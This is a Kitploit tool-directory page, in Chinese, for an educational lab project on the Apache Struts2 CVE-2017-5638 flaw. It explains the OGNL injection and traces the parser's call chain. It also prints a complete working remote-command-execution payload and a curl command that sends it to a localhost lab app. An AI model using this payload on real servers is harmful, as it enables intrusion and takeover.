Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
cybersecurity-struts2 — Struts2 应用程序易受 CVE-2017-5638 漏洞影响。解释了漏洞利用如何与 OGNL 和 JakartaMultiPart 解析器相关的工作原理。 | Kitploit
工具/GitHubGitHub/sighup1/cybersecurity-struts2
漏洞分析漏洞利用Web应用程序漏洞利用渗透测试学习与教育Payload 开发
GitHubsighup1/cybersecurity-struts2

cybersecurity-struts2

Struts2 应用程序易受 CVE-2017-5638 漏洞影响。解释了漏洞利用如何与 OGNL 和 JakartaMultiPart 解析器相关的工作原理。

查看仓库
137年前尚未审核

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

Apache Struts2 漏洞 | CVE-2017-5638 | 版本 2.5

免责声明

本内容仅用于教育和研究目的。我不授权或支持任何非法或不道德地使用本项目内容或信息的行为。

使用说明

运行 Web 应用:

  • java -jar ms-cybersecurity-1.jar(使用嵌入式 Tomcat)
  • Java 1.8
  • Web 应用默认在端口 8080 启动(http://localhost:8080/MSCybersecurity)

使用命令行模拟器(Send.jar)项目 发送命令:

空 URL 默认为 http://localhost:8080/MSCybersecurity/exploit,你必须访问 /exploit 端点

发送界面

  • java -jar Send.jar

如果你想修改此源码,项目使用 Maven 构建系统:

  • 修改源码后:mvn package(创建 .jar)

NVD CVE-2017-5638

有效载荷

此漏洞的巧妙之处在于利用了 OGNL(对象图导航库)。

OGNL 使用表达式执行任务,其中两个允许的表达式是:在框架中调用任意类,以及链式调用事件。参考指南:OGNL 语言指南。

例如,可以通过 OGNL 实例化 edu.uvu.ms.cybersecurity.Command 对象:

root@kitploit:~
// OGNL 表达式,实例化 Command 对象
(#cmd='whoami').(#p=new edu.uvu.ms.cybersecurity.Command(#cmd)).(#p.print('hello from MSCybersecurity'))

edu.uvu.ms.cybersecurity.Command 类:

root@kitploit:~
// Command 简单地打印从 OGNL 表达式传入的 cmd 参数
public class Command {
  private Object cmd;
  
  public Command(Object cmd){
    this.cmd = cmd;
  }

  private void print(){
      System.out.println("OGNL 接收到 cmd: "+this.cmd);
  }
  
  public void print(String loc){
      System.out.println("OGNL 接收到 cmd: "+this.cmd+" 来自 "+loc);
  }
}

或者,更实际地,可以调用 java.lang.ProcessBuilder 类来运行系统级命令:

root@kitploit:~
(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start())

以下有效载荷包含一个命令,调用 edu.uvu.ms.cybersecurity.Command 并将发送到服务器的命令打印到控制台,然后继续执行该命令(以展示事件链式调用和类调用):

root@kitploit:~
Content-Type:  %{(#_='multipart/form-data').(#[email protected]@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='whoami').(#p=new edu.uvu.ms.cybersecurity.Command(#cmd)).(#p.print('hello from MSCybersecurity')).(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}

使用 CURL 发送有效载荷:

root@kitploit:~
curl -H "Content-Type:  %{(#_='multipart/form-data').(#[email protected]@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='whoami').(#p=new edu.uvu.ms.cybersecurity.Command(#cmd)).(#p.print('hello from MSCybersecurity')).(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}" -X POST http://localhost:8080/MSCybersecurity/exploit

此有效载荷的一部分取自 Rapid7 GitHub

分解分析(从我的 IDE 视角)

Jakarta MultiPart 解析器:

问题在于解析器没有转义 Content-Type 头部中传入的值。这意味着可以将 OGNL 表达式打包到 Content-Type 头部中。当头部被确定为 MultiPart 时,它会被发送到 OgnlTextParser.class,后者简单地解释 OGNL 表达式,并随后导致执行任意命令。

以下是此漏洞被利用的逐步说明。

Struts2 分发器:org.apache.struts2.dispatcher.Dispatcher

Struts Dispatcher.class 接收请求,并确定应由 JakartaMultiPart 库处理,然后调用 MultiPartRequestWrapper() 构造函数 分发器

然后,来自 Content-Type 头部的 OGNL 表达式被传入 parse() 方法。由于头部信息错误,解析器将抛出异常并调用 buildErrorMessage() 方法

分发器

buildErrorMessage() 方法尝试查找合适的错误消息返回给用户,但为此,它必须使用 LocalizedTextUtil.class 的 findText() 方法

分发器

LocalizedTextUtil.class 的 findText 方法将依次调用 getDefaultMessage() 并传入 Content-Type 信息

分发器

getDefaultMessage() 方法随后将委托给 TextParseUtil.class 的 translateVariables() 方法

分发器

TextParseUtil.class 的 translateVariables() 方法委托给 OgnlTextParser.class 的 evaluate 方法

分发器

结果是任何 OGNL 表达式现在都被执行

分发器

下载工具